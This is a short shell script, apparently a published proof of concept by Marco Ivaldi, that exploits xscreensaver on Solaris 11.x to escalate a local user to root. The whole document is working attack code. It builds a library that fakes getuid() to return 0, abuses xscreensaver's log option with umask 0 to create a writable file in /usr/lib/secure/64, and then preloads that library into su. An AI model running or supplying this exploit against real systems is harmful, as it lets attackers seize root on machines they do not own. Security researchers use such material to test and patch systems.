echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
echo "Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the payload
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
# check the architecture
LOG=/usr/lib/secure/64/getuid.so
file /bin/su | grep 64-bit >/dev/null 2>&1
# start our own xserver
# alternatively we can connect back to a valid xserver (e.g. xquartz)
/usr/bin/Xorg :1 &

# trigger the bug
umask 0
/usr/bin/xscreensaver -display :1 -log $LOG &
sleep 5

# clean up
pkill -n xscreensaver
pkill -n Xorg

# LD_PRELOAD-fu
cp /tmp/getuid.so $LOG
LD_PRELOAD=$LOG su -